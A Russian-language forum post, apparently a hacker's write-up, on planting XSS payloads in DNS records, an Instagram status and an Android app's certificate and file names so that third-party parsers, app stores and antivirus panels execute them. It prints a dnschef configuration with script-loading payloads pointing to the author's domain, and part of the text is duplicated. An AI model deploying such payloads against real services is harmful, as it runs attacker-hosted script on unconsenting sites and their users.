Привет! Хочу рассказать о нескольких случаях, когда ресурсы сами собирали данные, но некорректно их обрабатывали. Причём в некоторых случаях, данные представлены в безопасном виде, но за счет парсинга и дальнейшей обработки когда-то безопасная строка превращается в атакующий вектор. На серьезность статьи не претендую, все забавы ради, как в старые — добрые времена.
Если загуглить XSS via DNS, то ты найдешь на эту тему, когда в качестве TXT записи отдается атакующий вектор.
Но создать TXT запись можно в любой хостинг-панели и XSS там висит с времен создания блога.
А почему никто не вспомнил про другие виды записей, скажем, CNAME или NS? Но для того, чтобы вернуть в качестве доменов атакующие вектора, можно создать собственный NS-сервер.
Отличным решением было использование . Я взял поддомен hack.ufolabs.pro (можно было любой свой домен), в качестве name server’а указал собственный ip. Всё.
Теперь мы рулим настройками, которые в dnschef.ini, поэтому пишем туда:
Теперь, если ресурс берет данные из DNS и помещает на страницу — есть вероятность, что про фильтрацию пользовательских данных он забыл.
Примеры, где работает XSS:
Но по логам — начали срабатывать XSS’ки на различных доменах, это были парсеры соцсети и какие-то аналитические сервисы. Вот пример доменов:
Недавно постучал @Black2Fan и спрашивает, а есть ли у меня android приложение с XSS в Google Play
?
А что, можно было? А давай сделаем! Где-нибудь да и стрельнет (а вдруг где-то у googl’а).
Итак, был сгенерирован сертификат, подписывающий приложение, только вместо имени разработчика и прочих данных — XSS
Были разложены файлы с «заначками», и файлы, путь из которых формирует валидный тег, подгружающий скрипт с моего домена.
Напомню, что в именах файлов можно использовать спецсимволы (в linux), кому интересно — гляньте папку assets.
Но вот беда, чтобы внедрить свой скрипт в имя, нужно домен покороче, ибо ограничение в 30 символов. Под рукой короткого домена, естественно, небыло. Если все одно-двусимвольные домены уже зарегистрированны — еще не все потеряно. В современных интернетах уже давно используются punycode, и регистрировать такие домены можно, и в настоящий момент заняты не все смайлики.
Например, последовательность xn--g3h дает . Вот я и зарегистрировал домен — .ws (4 символа включая точку).
В первую очередь отстук пришёл с парсеров приложений, больше всего трафика с данных доменов:
Один из примеров — , который ищет уязвимости в мобильных приложениях. Тем временем, приложение в нём:woot:
Но самое забавное — после того, как приложение было отправлено на virustotal, XSS сработали в панелях антивирусных компаний.
Еще одно замечание, в зависимости от перевода — в описание приложения проходит тег , попробуй что-нибудь с этим сделать, а вдруг
Нужно больше золота забавных исследований. XSS-ки всегда будут актуальны, тем более это легко.
Если загуглить XSS via DNS, то ты найдешь на эту тему, когда в качестве TXT записи отдается атакующий вектор.
Но создать TXT запись можно в любой хостинг-панели и XSS там висит с времен создания блога.
А почему никто не вспомнил про другие виды записей, скажем, CNAME или NS? Но для того, чтобы вернуть в качестве доменов атакующие вектора, можно создать собственный NS-сервер.
Отличным решением было использование . Я взял поддомен hack.ufolabs.pro (можно было любой свой домен), в качестве name server’а указал собственный ip. Всё.
Теперь мы рулим настройками, которые в dnschef.ini, поэтому пишем туда:
Код:
[MX] *.xss.hack.ufolabs.pro="-->'><script/src=//ufolabs.pro/xss.js>
[NS] *.xss.hack.ufolabs.pro="-->'><script/src=//ufolabs.pro/xss.js>
[CNAME] *.xss.hack.ufolabs.pro="-->'><script/src=//ufolabs.pro/xss.js>
Теперь, если ресурс берет данные из DNS и помещает на страницу — есть вероятность, что про фильтрацию пользовательских данных он забыл.

Примеры, где работает XSS:
- reg.ru (исправили)
- etc
Забавы ради я как-то добавил XSS в статус инстаграма. Ничего в этом такого нет, но стоит заметить, что сам вектор атаки был безопасен (на странице instagram).XSS и Instagram

Но по логам — начали срабатывать XSS’ки на различных доменах, это были парсеры соцсети и какие-то аналитические сервисы. Вот пример доменов:
- findgram.me
- imgrab.com
- instagy.com
- iconosquare.com
- tofo.me
- photo.sh
- gramosphere.com
XSS и Google Play
Недавно постучал @Black2Fan и спрашивает, а есть ли у меня android приложение с XSS в Google Play
А что, можно было? А давай сделаем! Где-нибудь да и стрельнет (а вдруг где-то у googl’а).
Итак, был сгенерирован сертификат, подписывающий приложение, только вместо имени разработчика и прочих данных — XSS

Были разложены файлы с «заначками», и файлы, путь из которых формирует валидный тег, подгружающий скрипт с моего домена.
Напомню, что в именах файлов можно использовать спецсимволы (в linux), кому интересно — гляньте папку assets.
Но вот беда, чтобы внедрить свой скрипт в имя, нужно домен покороче, ибо ограничение в 30 символов. Под рукой короткого домена, естественно, небыло. Если все одно-двусимвольные домены уже зарегистрированны — еще не все потеряно. В современных интернетах уже давно используются punycode, и регистрировать такие домены можно, и в настоящий момент заняты не все смайлики.
Например, последовательность xn--g3h дает . Вот я и зарегистрировал домен — .ws (4 символа включая точку).

В первую очередь отстук пришёл с парсеров приложений, больше всего трафика с данных доменов:
- apkpure.com
- allfreeapk.com
- appbrain.com
- appszoom.com
- downloadatoz.com
Один из примеров — , который ищет уязвимости в мобильных приложениях. Тем временем, приложение в нём:woot:
Но самое забавное — после того, как приложение было отправлено на virustotal, XSS сработали в панелях антивирусных компаний.
- Поддомен Qihoo 360 — создатели антивируса 360 Total Security
- Поддомен Antiy Labs — создатели антивируса AVL (красивая панелька, интеграция с Jira)
Еще одно замечание, в зависимости от перевода — в описание приложения проходит тег , попробуй что-нибудь с этим сделать, а вдруг

Нужно больше золота забавных исследований. XSS-ки всегда будут актуальны, тем более это легко.
Последнее редактирование: